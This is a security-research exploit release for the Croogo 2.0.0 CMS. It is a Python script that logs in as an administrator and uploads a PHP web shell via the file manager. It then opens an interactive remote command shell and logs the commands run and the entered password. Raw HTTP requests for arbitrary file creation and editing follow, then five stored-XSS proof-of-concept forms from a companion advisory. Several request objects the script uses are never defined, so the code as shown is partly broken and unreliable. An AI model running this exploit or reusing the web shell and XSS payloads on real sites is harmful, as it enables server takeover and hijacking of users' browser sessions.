#!/usr/bin/env python # # # Croogo 2.0.0 Arbitrary PHP Code Execution Exploit # # # Vendor: Fahad Ibnay Heylaal # Product web page: http://www.croogo.org # Affected version: 2.0.0 # # Summary: Croogo is a free, open source, content management system # for PHP, released under The MIT License. It is powered by CakePHP # MVC framework. # # Desc: Croogo suffers from an authenticated arbitrary PHP code # execution. The vulnerability is caused due to the improper # verification of uploaded files in '/admin/file_manager/attachments/add' # script thru the 'data[Attachment][file]' POST parameter and in # '/admin/file_manager/file_manager/upload' script thru the # 'data[FileManager][file]' POST parameter. This can be exploited # to execute arbitrary PHP code by uploading a malicious PHP script # file that will be stored in '/webroot/uploads/' directory. # # Tested on: Apache/2.4.7 (Win32) #            PHP/5.5.6 #            MySQL 5.6.14 # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # # Zero Science Lab - http://www.zeroscience.mk # Macedonian Information Security Research And Development Laboratory # # # Advisory ID: ZSL-2014-5202 # Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2014-5202.php # # # # 26.07.2014 # #   version = '5.0.0.251'  import itertools, mimetools, mimetypes import cookielib, urllib, urllib2, sys import logging, os, time, datetime, re   from colorama import Fore, Back, Style, init from cStringIO import StringIO from urllib2 import URLError   init()   if os.name == 'posix': os.system('clear') if os.name == 'nt': os.system('cls') piton = os.path.basename(sys.argv[0])   def bannerche():   print '''  @---------------------------------------------------------------@  |                                                               |  |       Croogo 2.0.0 Arbitrary PHP Code Execution Exploit       |  |                                                               |  |                                                               |  |                       ID: ZSL-2014-5202                       |  |                                                               |  |              Copyleft (c) 2014, Zero Science Lab              |  |                                                               |  @---------------------------------------------------------------@           '''  if len(sys.argv) < 3:     print '\n\x20\x20[*] '+Fore.YELLOW+'Usage: '+Fore.RESET+piton+' <hostname> <path>\n'    print '\x20\x20[*] '+Fore.CYAN+'Example: '+Fore.RESET+piton+' zeroscience.mk croogo\n'    sys.exit()   bannerche()   print '\n\x20\x20[*] Initialising exploit '+'.'*34+Fore.GREEN+'[OK]'+Fore.RESET   host = sys.argv[1] path = sys.argv[2]   cj = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))   try:   csrf = getcsrf.read() except urllib2.HTTPError, errorzio:   if errorzio.code == 404:     print '\x20\x20[*] Checking path '+'.'*41+Fore.RED+'[ER]'+Fore.RESET     print '\x20\x20[*] '+Fore.YELLOW+'Check your path entry.'+Fore.RESET     print    sys.exit() except URLError, errorziocvaj:   if errorziocvaj.reason:     print '\x20\x20[*] Checking host '+'.'*41+Fore.RED+'[ER]'+Fore.RESET     print '\x20\x20[*] '+Fore.YELLOW+'Check your hostname entry.'+Fore.RESET     print    sys.exit()   print '\x20\x20[*] Checking host and path '+'.'*32+Fore.GREEN+'[OK]'+Fore.RESET   token_key = re.search(r'\[key\]\" value=\"(.+?)\"', csrf).group(1) print '\x20\x20[*] Retrieving login CSRF token '+'.'*27+Fore.GREEN+'[OK]'+Fore.RESET print '\x20\x20[*] Login CSRF token: '+Fore.YELLOW+token_key+Fore.RESET   print '\x20\x20[*] Login please.'  username = raw_input('\x20\x20[*] Enter username: ') password = raw_input('\x20\x20[*] Enter password: ')     login_data = urllib.urlencode({               '_method' : 'POST',               'data[User][password]' : password,               'data[User][remember]' : '0',               'data[User][username]' : username,               'data[_Token][fields]' : '93365ba06ce101995d3cd9c79cce968b12fb6ee5:',               'data[_Token][key]' : token_key,               'data[_Token][unlocked]' : ''               })     auth = login.read()   for session in cj:   sessid = session.name   print '\x20\x20[*] Mapping session ID '+'.'*36+Fore.GREEN+'[OK]'+Fore.RESET ses_chk = re.search(r'%s=\w+' % sessid , str(cj)) cookie = ses_chk.group(0) print '\x20\x20[*] Cookie: '+Fore.YELLOW+cookie+Fore.RESET   if re.search(r'Incorrect username or password', auth):   print '\x20\x20[*] Incorrect username or password '+'.'*24+Fore.RED+'[ER]'+Fore.RESET   print  sys.exit() else:   print '\x20\x20[*] Authenticated '+'.'*41+Fore.GREEN+'[OK]'+Fore.RESET   csrfattach = getcsrfattach.read() token_key2 = re.search(r'\[key\]\" value=\"(.+?)\"', csrfattach).group(1) print '\x20\x20[*] Retrieving upload CSRF token '+'.'*26+Fore.GREEN+'[OK]'+Fore.RESET print '\x20\x20[*] Upload CSRF token: '+Fore.YELLOW+token_key2+Fore.RESET   class MultiPartForm(object):       def __init__(self):         self.form_fields = []         self.files = []         self.boundary = mimetools.choose_boundary()         return          def get_content_type(self):         return 'multipart/form-data; boundary=%s' % self.boundary       def add_field(self, name, value):         self.form_fields.append((name, value))         return      def add_file(self, fieldname, filename, fileHandle, mimetype=None):         body = fileHandle.read()         if mimetype is None:             mimetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'        self.files.append((fieldname, filename, mimetype, body))         return          def __str__(self):           parts = []         part_boundary = '--' + self.boundary                   parts.extend(             [ part_boundary,               'Content-Disposition: form-data; name="%s"' % name,               '',               value,             ]             for name, value in self.form_fields             )                   parts.extend(             [ part_boundary,               'Content-Disposition: file; name="%s"; filename="%s"' % \                  (field_name, filename),               'Content-Type: %s' % content_type,               '',               body,             ]             for field_name, filename, content_type, body in self.files             )                   flattened = list(itertools.chain(*parts))         flattened.append('--' + self.boundary + '--')         flattened.append('')         return '\r\n'.join(flattened)   if __name__ == '__main__':       form = MultiPartForm()     form.add_field('_method', 'POST')     form.add_field('data[_Token][key]', token_key2)     form.add_field('data[_Token][fields]', 'c0c3f5d102d9672429f5c571a5f45c34255a93a9%3A')     form.add_field('data[_Token][unlocked]', '')           form.add_file('data[Attachment][file]', 'zsl.php',                    fileHandle=StringIO('<?php echo \"<pre>\"; passthru($_GET[\'cmd\']); echo \"</pre>\"; ?>'))       request.add_header('User-agent', 'joxypoxy 5.0')     body = str(form)     request.add_header('Content-type', form.get_content_type())     request.add_header('Cookie', cookie)     request.add_header('Content-length', len(body))     request.add_data(body)     request.get_data()     urllib2.urlopen(request).read()     print '\x20\x20[*] Sending payload '+'.'*39+Fore.GREEN+'[OK]'+Fore.RESET     print '\x20\x20[*] Starting logging service '+'.'*30+Fore.GREEN+'[OK]'+Fore.RESET print '\x20\x20[*] Spawning shell '+'.'*40+Fore.GREEN+'[OK]'+Fore.RESET time.sleep(1)   furl = '/uploads/zsl.php'#furl = '/webroot/uploads/zsl.php'   printtoday = datetime.date.today() fname = 'croogo-'+today.strftime('%d-%b-%Y')+time.strftime('_%H%M%S')+'.log'logging.basicConfig(filename=fname,level=logging.DEBUG)   logging.info(' '+'+'*75) logging.info(' +') logging.info(' + Log started: '+today.strftime('%A, %d-%b-%Y')+time.strftime(', %H:%M:%S')) logging.info(' + Title: Croogo 2.0.0 Arbitrary PHP Code Execution Exploit') logging.info(' + Python program executed: '+sys.argv[0]) logging.info(' + Version: '+version) logging.info(' + Full query: \''+piton+'\x20'+host+'\'') logging.info(' + Username input: '+username) logging.info(' + Password input: '+password) logging.info(' +') logging.info(' + Advisory ID: ZSL-2014-5202') logging.info(' +') logging.info(' '+'+'*75+'\n')   print Style.DIM+Fore.CYAN+'\x20\x20[*] Press [ ENTER ] to INSERT COIN!\n'+Style.RESET_ALL+Fore.RESET raw_input() while True:   try:     cmd = raw_input(Fore.RED+'shell@'+host+':~# '+Fore.RESET)     reverse = execute.read()     pattern = re.compile(r'<pre>(.*?)</pre>',re.S|re.M)       print Style.BRIGHT+Fore.CYAN     cmdout = pattern.match(reverse)     print cmdout.groups()[0].strip()     print Style.RESET_ALL+Fore.RESET       if cmd.strip() == 'exit':       break      logging.info('Command executed: '+cmd+'\n\nOutput: \n'+'='*8+'\n\n'+cmdout.groups()[0].strip()+'\n\n'+'-'*60+'\n')   except Exception:     break  logging.warning('\n\nLog ended: '+today.strftime('%A, %d-%b-%Y')+time.strftime(', %H:%M:%S')+'\n\nEND OF LOG') print '\x20\x20[*] Carpe commentarius '+'.'*36+Fore.GREEN+'[OK]'+Fore.RESET print '\x20\x20[*] Log file: '+Fore.YELLOW+fname+Fore.RESET print  sys.exit()   # ## OTHER ## # # # Arbitrary file creation any location: # # - http://localhost/croogo/admin/file_manager/file_manager/create_file?path=C%3A\xampp\htdocs\croogo\ # # # Arbitrary file upload any location: # # ########### # # POST /croogo/admin/file_manager/file_manager/create_file?path=C%3A%5Cxampp%5Chtdocs%5Ccroogo%5Cwebroot%5Cuploads%5C HTTP/1.1 # Host: localhost # User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0 # Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 # Accept-Language: en-US,en;q=0.5 # Accept-Encoding: gzip, deflate # Cookie: CAKEPHP=b5v6bft5a5ibj0ndcvb28i4v84 # Connection: keep-alive # Content-Type: application/x-www-form-urlencoded # Content-Length: 229 # # _method=POST&data%5B_Token%5D%5Bkey%5D=4f20867747cbff33951db804266494804e96bf89&data%5BFileManager%5D%5Bname%5D=shell2.php&data%5B_Token%5D%5Bfields%5D=4aeda1af05803a2ae8503d6033160c17d6335641%253A&data%5B_Token%5D%5Bunlocked%5D= # ########### # # POST /croogo/admin/file_manager/file_manager/editfile?path=C%3A%5Cxampp%5Chtdocs%5Ccroogo%5Cwebroot%5Cuploads%5Cshell2.php HTTP/1.1 # Host: localhost # User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0 # Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 # Accept-Language: en-US,en;q=0.5 # Accept-Encoding: gzip, deflate # Cookie: CAKEPHP=b5v6bft5a5ibj0ndcvb28i4v84 # Connection: keep-alive # Content-Type: application/x-www-form-urlencoded # Content-Length: 304 # # _method=POST&data%5B_Token%5D%5Bkey%5D=5a6516e263eb6e5504e2266783b42cd08e3efe16&data%5BFileManager%5D%5Bcontent%5D=test%0D%0A%3C%3Fphp%0D%0Apassthru%28%24_GET%5B%27cmd%27%5D%29%3B%0D%0A%3F%3E%0D%0A&data%5B_Token%5D%5Bfields%5D=8f1bb3e7acda642ca69ee0430abba1f5ecd5f7a7%253A&data%5B_Token%5D%5Bunlocked%5D= # ########### # # POST /croogo/admin/file_manager/file_manager/upload?path=C%3A%5Cxampp%5Chtdocs%5Ccroogo%5Cwebroot%5Cuploads%5C HTTP/1.1 # Host: localhost # User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0 # Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 # Accept-Language: en-US,en;q=0.5 # Accept-Encoding: gzip, deflate # Cookie: CAKEPHP=b5v6bft5a5ibj0ndcvb28i4v84 # Connection: keep-alive # Content-Type: multipart/form-data; boundary=---------------------------25555888422431 # Content-Length: 779 # # -----------------------------25555888422431 # Content-Disposition: form-data; name="_method" # # POST # -----------------------------25555888422431 # Content-Disposition: form-data; name="data[_Token][key]" # # 0d940d3b3f4c80ea98b3e5588c337587f7c50d5e # -----------------------------25555888422431 # Content-Disposition: form-data; name="data[FileManager][file]"; filename="exploit.php" # Content-Type: application/octet-stream # # test # <?php # passthru($_GET['cmd']); # ?> # # -----------------------------25555888422431 # Content-Disposition: form-data; name="data[_Token][fields]" # # 6f3f788048d33beefcc340fe281cf758e20ad329%3A # -----------------------------25555888422431 # Content-Disposition: form-data; name="data[_Token][unlocked]" # # # -----------------------------25555888422431-- # #   <<<   Croogo 2.0.0 Multiple Stored XSS Vulnerabilities     Vendor: Fahad Ibnay Heylaal Product web page: http://www.croogo.org Affected version: 2.0.0  Summary: Croogo is a free, open source, content management system for PHP, released under The MIT License. It is powered by CakePHP MVC framework.   Desc: Croogo version 2.0.0 suffers from multiple stored cross-site scripting vulnerabilities. Input passed to several POST parameters is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.   Tested on: Apache/2.4.7 (Win32)            PHP/5.5.6           MySQL 5.6.14    Vulnerability discovered by Gjoko 'LiquidWorm' Krstic Zero Science Lab - http://www.zeroscience.mk Macedonian Information Security Research And Development Laboratory     Advisory ID: ZSL-2014-5201Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2014-5201.php  Vendor: http://blog.croogo.org/blog/croogo-210-released     26.07.2014  >>>     ------------------------(XSS #1) --------POST parameters:    - data[Contact][title] ------------------------  <html>   <!-- PoC - generated by Burp Suite Professional -->   <body>       <input type="hidden" name="_method" value="POST" />       <input type="hidden" name="data[_Token][key]" value="2627e9e204ad6b878dbaf1c08d830c3e744d7e6e" />       <input type="hidden" name="data[Contact][id]" value="" />       <input type="hidden" name="data[Contact][title]" value=""><script>alert("XSS");</script>" />       <input type="hidden" name="data[Contact][alias]" value="test" />       <input type="hidden" name="data[Contact][email]" value="a@a.com" />       <input type="hidden" name="data[Contact][body]" value="" />       <input type="hidden" name="data[Contact][name]" value="" />       <input type="hidden" name="data[Contact][position]" value="" />       <input type="hidden" name="data[Contact][address]" value="" />       <input type="hidden" name="data[Contact][address2]" value="" />       <input type="hidden" name="data[Contact][state]" value="" />       <input type="hidden" name="data[Contact][country]" value="" />       <input type="hidden" name="data[Contact][postcode]" value="" />       <input type="hidden" name="data[Contact][phone]" value="" />       <input type="hidden" name="data[Contact][fax]" value="" />       <input type="hidden" name="data[Contact][message_status]" value="0" />       <input type="hidden" name="data[Contact][message_archive]" value="0" />       <input type="hidden" name="data[Contact][message_notify]" value="0" />       <input type="hidden" name="data[Contact][message_spam_protection]" value="0" />       <input type="hidden" name="data[Contact][message_captcha]" value="0" />       <input type="hidden" name="data[Contact][status]" value="0" />       <input type="hidden" name="data[_Token][fields]" value="262e37f00fdd538ab98d168114e8befb72ba27ff%3AContact.id" />       <input type="hidden" name="data[_Token][unlocked]" value="apply" />       <input type="submit" value="Submit form" />     </form>   </body> </html>     ------------------------(XSS #2) --------POST/PUT parameters:    - data[Block][title]  - data[Block][alias] ------------------------  <html>   <!-- PoC - generated by Burp Suite Professional -->   <body>       <input type="hidden" name="_method" value="PUT" />       <input type="hidden" name="data[_Token][key]" value="bb5e47ab63281908e9783d9a20f66b7f56c573f3" />       <input type="hidden" name="data[Block][id]" value="10" />       <input type="hidden" name="data[Block][title]" value=""><script>alert(2);</script>" />       <input type="hidden" name="data[Block][alias]" value=""><script>alert(3);</script>" />       <input type="hidden" name="data[Block][region_id]" value="3" />       <input type="hidden" name="data[Block][body]" value="1" />       <input type="hidden" name="data[Block][class]" value="1" />       <input type="hidden" name="data[Block][element]" value="1" />       <input type="hidden" name="data[Role][Role]" value="" />       <input type="hidden" name="data[Block][visibility_paths]" value="" />       <input type="hidden" name="data[Block][params]" value="1" />       <input type="hidden" name="data[Block][status]" value="1" />       <input type="hidden" name="data[Block][show_title]" value="0" />       <input type="hidden" name="data[Block][show_title]" value="1" />       <input type="hidden" name="data[Block][publish_start]" value="0000-00-00 00:00:00" />       <input type="hidden" name="data[Block][publish_end]" value="0000-00-00 00:00:00" />       <input type="hidden" name="data[_Token][fields]" value="546f4a46648b8b32ea4c2b43a4a118ea7087e21b%3ABlock.id" />       <input type="hidden" name="data[_Token][unlocked]" value="apply" />       <input type="submit" value="Submit form" />     </form>   </body> </html>     ------------------------(XSS #3) --------POST parameters:    - data[Region][title] ------------------------  <html>   <!-- PoC - generated by Burp Suite Professional -->   <body>       <input type="hidden" name="_method" value="POST" />       <input type="hidden" name="data[_Token][key]" value="a7d62c8c34e2a6414c3657c43790645dfdd63735" />       <input type="hidden" name="data[Region][id]" value="" />       <input type="hidden" name="data[Region][title]" value=""><script>alert(11);</script>" />       <input type="hidden" name="data[Region][alias]" value="1" />       <input type="hidden" name="data[_Token][fields]" value="4020bcbfbf5ba648b159ec8a4e166f53c1b58aa4%3ARegion.id" />       <input type="hidden" name="data[_Token][unlocked]" value="apply" />       <input type="submit" value="Submit form" />     </form>   </body> </html>     ------------------------(XSS #4) --------POST parameters:    - data[Menu][title]  - data[Menu][alias] ------------------------  <html>   <!-- PoC - generated by Burp Suite Professional -->   <body>       <input type="hidden" name="_method" value="POST" />       <input type="hidden" name="data[_Token][key]" value="253c5c67942b2d126c886c9ac7a62ebf065cf42b" />       <input type="hidden" name="data[Menu][id]" value="" />       <input type="hidden" name="data[Menu][title]" value=""><script>alert(22);</script>" />       <input type="hidden" name="data[Menu][alias]" value=""><script>alert(33);</script>" />       <input type="hidden" name="data[Menu][description]" value="ZSL" />       <input type="hidden" name="data[Menu][params]" value="1" />       <input type="hidden" name="data[Menu][status]" value="1" />       <input type="hidden" name="data[Menu][publish_start]" value="1" />       <input type="hidden" name="data[Menu][publish_end]" value="1" />       <input type="hidden" name="data[_Token][fields]" value="58685dc7a49f7617cffaa3a00ec4245516c5f9d3%3AMenu.id" />       <input type="hidden" name="data[_Token][unlocked]" value="apply" />       <input type="submit" value="Submit form" />     </form>   </body> </html>     ------------------------(XSS #5) --------POST parameters:    - data[Link][title] ------------------------  <html>   <!-- PoC - generated by Burp Suite Professional -->   <body>       <input type="hidden" name="_method" value="POST" />       <input type="hidden" name="data[_Token][key]" value="736e7539497307010b8cb8e70c44ec8a9798d0fb" />       <input type="hidden" name="data[Link][id]" value="" />       <input type="hidden" name="data[Link][menu_id]" value="6" />       <input type="hidden" name="data[Link][parent_id]" value="" />       <input type="hidden" name="data[Link][title]" value=""><script>alert(1);</script>" />       <input type="hidden" name="data[Link][link]" value="1" />       <input type="hidden" name="data[Role][Role]" value="" />       <input type="hidden" name="data[Link][class]" value="scriptalert1script" />       <input type="hidden" name="data[Link][description]" value="" />       <input type="hidden" name="data[Link][rel]" value="" />       <input type="hidden" name="data[Link][target]" value="" />       <input type="hidden" name="data[Link][params]" value="" />       <input type="hidden" name="data[Link][status]" value="0" />       <input type="hidden" name="data[Link][publish_start]" value="" />       <input type="hidden" name="data[Link][publish_end]" value="" />       <input type="hidden" name="data[_Token][fields]" value="d662745abb348c763337f58c8c3c28bb1e8c014f%3ALink.id" />       <input type="hidden" name="data[_Token][unlocked]" value="apply" />       <input type="submit" value="Submit form" />     </form>   </body> </html>